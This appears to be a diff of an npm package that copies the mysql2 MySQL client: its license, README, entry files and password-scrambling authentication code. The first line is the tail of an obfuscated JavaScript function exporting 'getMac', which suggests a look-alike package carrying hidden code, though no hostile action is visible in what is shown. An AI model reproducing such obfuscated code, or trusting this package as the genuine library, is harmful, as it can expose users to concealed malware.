a106_0x366f=function(_0x366f62,_0x236f9c){_0x366f62=_0x366f62-0x8f;let _0x2aca72=_0x1a25fa[_0x366f62];return _0x2aca72;},a106_0x366f(_0x4bf0f6,_0x29841e);}export default getMac;
|
@@ -0,0 +1,19 @@
|
|
1
|
+
Copyright (c) 2016 Andrey Sidorov (sidorares@yandex.ru) and contributors
|
2
|
+
|
3
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
4
|
+
of this software and associated documentation files (the "Software"), to deal
|
5
|
+
in the Software without restriction, including without limitation the rights
|
6
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
7
|
+
copies of the Software, and to permit persons to whom the Software is
|
8
|
+
furnished to do so, subject to the following conditions:
|
9
|
+
|
10
|
+
The above copyright notice and this permission notice shall be included in
|
11
|
+
all copies or substantial portions of the Software.
|
12
|
+
|
13
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
14
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
15
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
16
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
17
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
18
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
19
|
+
THE SOFTWARE.
|
@@ -0,0 +1,114 @@
|
|
1
|
+
[npm-image]: https://img.shields.io/npm/v/mysql2.svg
|
2
|
+
[npm-url]: https://npmjs.com/package/mysql2
|
3
|
+
[node-version-image]: https://img.shields.io/node/v/mysql2.svg
|
4
|
+
[node-version-url]: https://nodejs.org/en/download
|
5
|
+
[downloads-image]: https://img.shields.io/npm/dm/mysql2.svg
|
6
|
+
[downloads-url]: https://npmjs.com/package/mysql2
|
7
|
+
[license-url]: https://github.com/sidorares/node-mysql2/blob/master/License
|
8
|
+
[license-image]: https://img.shields.io/npm/l/mysql2.svg?maxAge=2592000
|
9
|
+
[node-mysql]: https://github.com/mysqljs/mysql
|
10
|
+
[mysqljs]: https://github.com/mysqljs
|
11
|
+
[mysql-native]: https://github.com/sidorares/nodejs-mysql-native
|
12
|
+
[sidorares]: https://github.com/sidorares
|
13
|
+
[TooTallNate]: https://gist.github.com/TooTallNate
|
14
|
+
[starttls.js]: https://gist.github.com/TooTallNate/848444
|
15
|
+
[node-mariasql]: https://github.com/mscdex/node-mariasql
|
16
|
+
[contributors]: https://github.com/sidorares/node-mysql2/graphs/contributors
|
17
|
+
[contributing]: https://github.com/sidorares/node-mysql2/blob/master/Contributing.md
|
18
|
+
[docs-base]: https://sidorares.github.io/node-mysql2/docs
|
19
|
+
[docs-base-zh-CN]: https://sidorares.github.io/node-mysql2/zh-CN/docs
|
20
|
+
[docs-base-pt-BR]: https://sidorares.github.io/node-mysql2/pt-BR/docs
|
21
|
+
[docs-prepared-statements]: https://sidorares.github.io/node-mysql2/docs/documentation/prepared-statements
|
22
|
+
[docs-mysql-server]: https://sidorares.github.io/node-mysql2/docs/documentation/mysql-server
|
23
|
+
[docs-promise-wrapper]: https://sidorares.github.io/node-mysql2/docs/documentation/promise-wrapper
|
24
|
+
[docs-authentication-switch]: https://sidorares.github.io/node-mysql2/docs/documentation/authentication-switch
|
25
|
+
[docs-streams]: https://sidorares.github.io/node-mysql2/docs/documentation/extras
|
26
|
+
[docs-typescript-docs]: https://sidorares.github.io/node-mysql2/docs/documentation/typescript-examples
|
27
|
+
[docs-qs-pooling]: https://sidorares.github.io/node-mysql2/docs#using-connection-pools
|
28
|
+
[docs-qs-first-query]: https://sidorares.github.io/node-mysql2/docs#first-query
|
29
|
+
[docs-qs-using-prepared-statements]: https://sidorares.github.io/node-mysql2/docs#using-prepared-statements
|
30
|
+
[docs-examples]: https://sidorares.github.io/node-mysql2/docs/examples
|
31
|
+
[docs-faq]: https://sidorares.github.io/node-mysql2/docs/faq
|
32
|
+
[docs-documentation]: https://sidorares.github.io/node-mysql2/docs/documentation
|
33
|
+
[docs-contributing]: https://sidorares.github.io/node-mysql2/docs/contributing/website
|
34
|
+
[coverage]: https://img.shields.io/codecov/c/github/sidorares/node-mysql2
|
35
|
+
[coverage-url]: https://app.codecov.io/github/sidorares/node-mysql2
|
36
|
+
[ci-url]: https://github.com/sidorares/node-mysql2/actions/workflows/ci-coverage.yml?query=branch%3Amaster
|
37
|
+
[ci-image]: https://img.shields.io/github/actions/workflow/status/sidorares/node-mysql2/ci-coverage.yml?event=push&style=flat&label=CI&branch=master
|
38
|
+
|
39
|
+
# MySQL2
|
40
|
+
|
41
|
+
[![NPM Version][npm-image]][npm-url]
|
42
|
+
[![NPM Downloads][downloads-image]][downloads-url]
|
43
|
+
[![Node.js Version][node-version-image]][node-version-url]
|
44
|
+
[![GitHub Workflow Status (with event)][ci-image]][ci-url]
|
45
|
+
[![Codecov][coverage]][coverage-url]
|
46
|
+
[![License][license-image]][license-url]
|
47
|
+
|
48
|
+
[English][docs-base] | [简体中文][docs-base-zh-CN] | [Português (BR)][docs-base-pt-BR]
|
49
|
+
|
50
|
+
> MySQL client for Node.js with focus on performance. Supports prepared statements, non-utf8 encodings, binary log protocol, compression, ssl [much more][docs-documentation].
|
51
|
+
|
52
|
+
**Table of Contents**
|
53
|
+
|
54
|
+
- [History and Why MySQL2](#history-and-why-mysql2)
|
55
|
+
- [Installation](#installation)
|
56
|
+
- [Documentation](#documentation)
|
57
|
+
- [Acknowledgements](#acknowledgements)
|
58
|
+
- [Contributing](#contributing)
|
59
|
+
|
60
|
+
## History and Why MySQL2
|
61
|
+
|
62
|
+
MySQL2 project is a continuation of [MySQL-Native][mysql-native]. Protocol parser code was rewritten from scratch and api changed to match popular [Node MySQL][node-mysql]. MySQL2 team is working together with [Node MySQL][node-mysql] team to factor out shared code and move it under [mysqljs][mysqljs] organization.
|
63
|
+
|
64
|
+
MySQL2 is mostly API compatible with [Node MySQL][node-mysql] and supports majority of features. MySQL2 also offers these additional features:
|
65
|
+
|
66
|
+
- Faster / Better Performance
|
67
|
+
- [Prepared Statements][docs-prepared-statements]
|
68
|
+
- MySQL Binary Log Protocol
|
69
|
+
- [MySQL Server][docs-mysql-server]
|
70
|
+
- Extended support for Encoding and Collation
|
71
|
+
- [Promise Wrapper][docs-promise-wrapper]
|
72
|
+
- Compression
|
73
|
+
- SSL and [Authentication Switch][docs-authentication-switch]
|
74
|
+
- [Custom Streams][docs-streams]
|
75
|
+
- [Pooling][docs-qs-pooling]
|
76
|
+
|
77
|
+
## Installation
|
78
|
+
|
79
|
+
MySQL2 is free from native bindings and can be installed on Linux, Mac OS or Windows without any issues.
|
80
|
+
|
81
|
+
```bash
|
82
|
+
npm install --save mysql2
|
83
|
+
```
|
84
|
+
|
85
|
+
If you are using TypeScript, you will need to install `@types/node`.
|
86
|
+
|
87
|
+
```bash
|
88
|
+
npm install --save-dev @types/node
|
89
|
+
```
|
90
|
+
|
91
|
+
> For TypeScript documentation and examples, see [here][docs-typescript-docs].
|
92
|
+
|
93
|
+
## Documentation
|
94
|
+
|
95
|
+
- [Quickstart][docs-base]
|
96
|
+
- [First Query][docs-qs-first-query], [Using Prepared Statements][docs-qs-using-prepared-statements], [Using Connection Pools][docs-qs-pooling] and more.
|
97
|
+
- [Documentation][docs-documentation]
|
98
|
+
- [Examples][docs-examples]
|
99
|
+
- [FAQ][docs-faq]
|
100
|
+
|
101
|
+
## Acknowledgements
|
102
|
+
|
103
|
+
- Internal protocol is written by [@sidorares][sidorares] [MySQL-Native][mysql-native].
|
104
|
+
- Constants, SQL parameters interpolation, Pooling, `ConnectionConfig` class taken from [Node MySQL][node-mysql].
|
105
|
+
- SSL upgrade code based on [@TooTallNate][TooTallNate] [code][starttls.js].
|
106
|
+
- Secure connection / compressed connection api flags compatible to [MariaSQL][node-mariasql] client.
|
107
|
+
- [Contributors][contributors].
|
108
|
+
|
109
|
+
## Contributing
|
110
|
+
|
111
|
+
Want to improve something in **MySQL2**?
|
112
|
+
Please check [Contributing.md][contributing] for detailed instruction on how to get started.
|
113
|
+
|
114
|
+
To contribute in **MySQL2 Documentation**, please visit the [Website Contributing Guidelines][docs-contributing] for detailed instruction on how to get started.
|
@@ -0,0 +1 @@
|
|
1
|
+
export * from './typings/mysql/index.js';
|
@@ -0,0 +1,77 @@
|
|
1
|
+
'use strict';
|
2
|
+
|
3
|
+
const SqlString = require('sqlstring');
|
4
|
+
|
5
|
+
const ConnectionConfig = require('./lib/connection_config.js');
|
6
|
+
const parserCache = require('./lib/parsers/parser_cache.js');
|
7
|
+
|
8
|
+
const Connection = require('./lib/connection.js');
|
9
|
+
|
10
|
+
exports.createConnection = require('./lib/create_connection.js');
|
11
|
+
exports.connect = exports.createConnection;
|
12
|
+
exports.Connection = Connection;
|
13
|
+
exports.ConnectionConfig = ConnectionConfig;
|
14
|
+
|
15
|
+
const Pool = require('./lib/pool.js');
|
16
|
+
const PoolCluster = require('./lib/pool_cluster.js');
|
17
|
+
const createPool = require('./lib/create_pool.js');
|
18
|
+
const createPoolCluster = require('./lib/create_pool_cluster.js');
|
19
|
+
|
20
|
+
exports.createPool = createPool;
|
21
|
+
|
22
|
+
exports.createPoolCluster = createPoolCluster;
|
23
|
+
|
24
|
+
exports.createQuery = Connection.createQuery;
|
25
|
+
|
26
|
+
exports.Pool = Pool;
|
27
|
+
|
28
|
+
exports.PoolCluster = PoolCluster;
|
29
|
+
|
30
|
+
exports.createServer = function (handler) {
|
31
|
+
const Server = require('./lib/server.js');
|
32
|
+
const s = new Server();
|
33
|
+
if (handler) {
|
34
|
+
s.on('connection', handler);
|
35
|
+
}
|
36
|
+
return s;
|
37
|
+
};
|
38
|
+
|
39
|
+
exports.PoolConnection = require('./lib/pool_connection.js');
|
40
|
+
exports.authPlugins = require('./lib/auth_plugins');
|
41
|
+
exports.escape = SqlString.escape;
|
42
|
+
exports.escapeId = SqlString.escapeId;
|
43
|
+
exports.format = SqlString.format;
|
44
|
+
exports.raw = SqlString.raw;
|
45
|
+
|
46
|
+
exports.__defineGetter__(
|
47
|
+
'createConnectionPromise',
|
48
|
+
() => require('./promise.js').createConnection
|
49
|
+
);
|
50
|
+
|
51
|
+
exports.__defineGetter__(
|
52
|
+
'createPoolPromise',
|
53
|
+
() => require('./promise.js').createPool
|
54
|
+
);
|
55
|
+
|
56
|
+
exports.__defineGetter__(
|
57
|
+
'createPoolClusterPromise',
|
58
|
+
() => require('./promise.js').createPoolCluster
|
59
|
+
);
|
60
|
+
|
61
|
+
exports.__defineGetter__('Types', () => require('./lib/constants/types.js'));
|
62
|
+
|
63
|
+
exports.__defineGetter__('Charsets', () =>
|
64
|
+
require('./lib/constants/charsets.js')
|
65
|
+
);
|
66
|
+
|
67
|
+
exports.__defineGetter__('CharsetToEncoding', () =>
|
68
|
+
require('./lib/constants/charset_encodings.js')
|
69
|
+
);
|
70
|
+
|
71
|
+
exports.setMaxParserCache = function (max) {
|
72
|
+
parserCache.setMaxCache(max);
|
73
|
+
};
|
74
|
+
|
75
|
+
exports.clearParserCache = function () {
|
76
|
+
parserCache.clearCache();
|
77
|
+
};
|
@@ -0,0 +1,95 @@
|
|
1
|
+
'use strict';
|
2
|
+
|
3
|
+
/*
|
4
|
+
4.1 authentication: (http://bazaar.launchpad.net/~mysql/mysql-server/5.5/view/head:/sql/password.c)
|
5
|
+
|
6
|
+
SERVER: public_seed=create_random_string()
|
7
|
+
send(public_seed)
|
8
|
+
|
9
|
+
CLIENT: recv(public_seed)
|
10
|
+
hash_stage1=sha1("password")
|
11
|
+
hash_stage2=sha1(hash_stage1)
|
12
|
+
reply=xor(hash_stage1, sha1(public_seed,hash_stage2)
|
13
|
+
|
14
|
+
// this three steps are done in scramble()
|
15
|
+
|
16
|
+
send(reply)
|
17
|
+
|
18
|
+
|
19
|
+
SERVER: recv(reply)
|
20
|
+
hash_stage1=xor(reply, sha1(public_seed,hash_stage2))
|
21
|
+
candidate_hash2=sha1(hash_stage1)
|
22
|
+
check(candidate_hash2==hash_stage2)
|
23
|
+
|
24
|
+
server stores sha1(sha1(password)) ( hash_stag2)
|
25
|
+
*/
|
26
|
+
|
27
|
+
const crypto = require('crypto');
|
28
|
+
|
29
|
+
function sha1(msg, msg1, msg2) {
|
30
|
+
const hash = crypto.createHash('sha1');
|
31
|
+
hash.update(msg);
|
32
|
+
if (msg1) {
|
33
|
+
hash.update(msg1);
|
34
|
+
}
|
35
|
+
|
36
|
+
if (msg2) {
|
37
|
+
hash.update(msg2);
|
38
|
+
}
|
39
|
+
|
40
|
+
return hash.digest();
|
41
|
+
}
|
42
|
+
|
43
|
+
function xor(a, b) {
|
44
|
+
const result = Buffer.allocUnsafe(a.length);
|
45
|
+
for (let i = 0; i < a.length; i++) {
|
46
|
+
result[i] = a[i] ^ b[i];
|
47
|
+
}
|
48
|
+
return result;
|
49
|
+
}
|
50
|
+
|
51
|
+
exports.xor = xor;
|
52
|
+
|
53
|
+
function token(password, scramble1, scramble2) {
|
54
|
+
if (!password) {
|
55
|
+
return Buffer.alloc(0);
|
56
|
+
}
|
57
|
+
const stage1 = sha1(password);
|
58
|
+
return exports.calculateTokenFromPasswordSha(stage1, scramble1, scramble2);
|
59
|
+
}
|
60
|
+
|
61
|
+
exports.calculateTokenFromPasswordSha = function (
|
62
|
+
passwordSha,
|
63
|
+
scramble1,
|
64
|
+
scramble2
|
65
|
+
) {
|
66
|
+
// we use AUTH 41 here, and we need only the bytes we just need.
|
67
|
+
const authPluginData1 = scramble1.slice(0, 8);
|
68
|
+
const authPluginData2 = scramble2.slice(0, 12);
|
69
|
+
const stage2 = sha1(passwordSha);
|
70
|
+
const stage3 = sha1(authPluginData1, authPluginData2, stage2);
|
71
|
+
return xor(stage3, passwordSha);
|
72
|
+
};
|
73
|
+
|
74
|
+
exports.calculateToken = token;
|
75
|
+
|
76
|
+
exports.verifyToken = function (publicSeed1, publicSeed2, token, doubleSha) {
|
77
|
+
const hashStage1 = xor(token, sha1(publicSeed1, publicSeed2, doubleSha));
|
78
|
+
const candidateHash2 = sha1(hashStage1);
|
79
|
+
return candidateHash2.compare(doubleSha) === 0;
|
80
|
+
};
|
81
|
+
|
82
|
+
exports.doubleSha1 = function (password) {
|
83
|
+
return sha1(sha1(password));
|
84
|
+
};
|
85
|
+
|
86
|
+
function xorRotating(a, seed) {
|
87
|
+
const result = Buffer.allocUnsafe(a.length);
|
88
|
+
const seedLen = seed.length;
|
89
|
+
|
90
|
+
for (let i = 0; i < a.length; i++) {
|
91
|
+
result[i] = a[i] ^ seed[i % seedLen];
|
92
|
+
}
|
93
|
+
return result;
|
94
|
+
}
|
95
|
+
exports.xorRotating = xorRotating;
|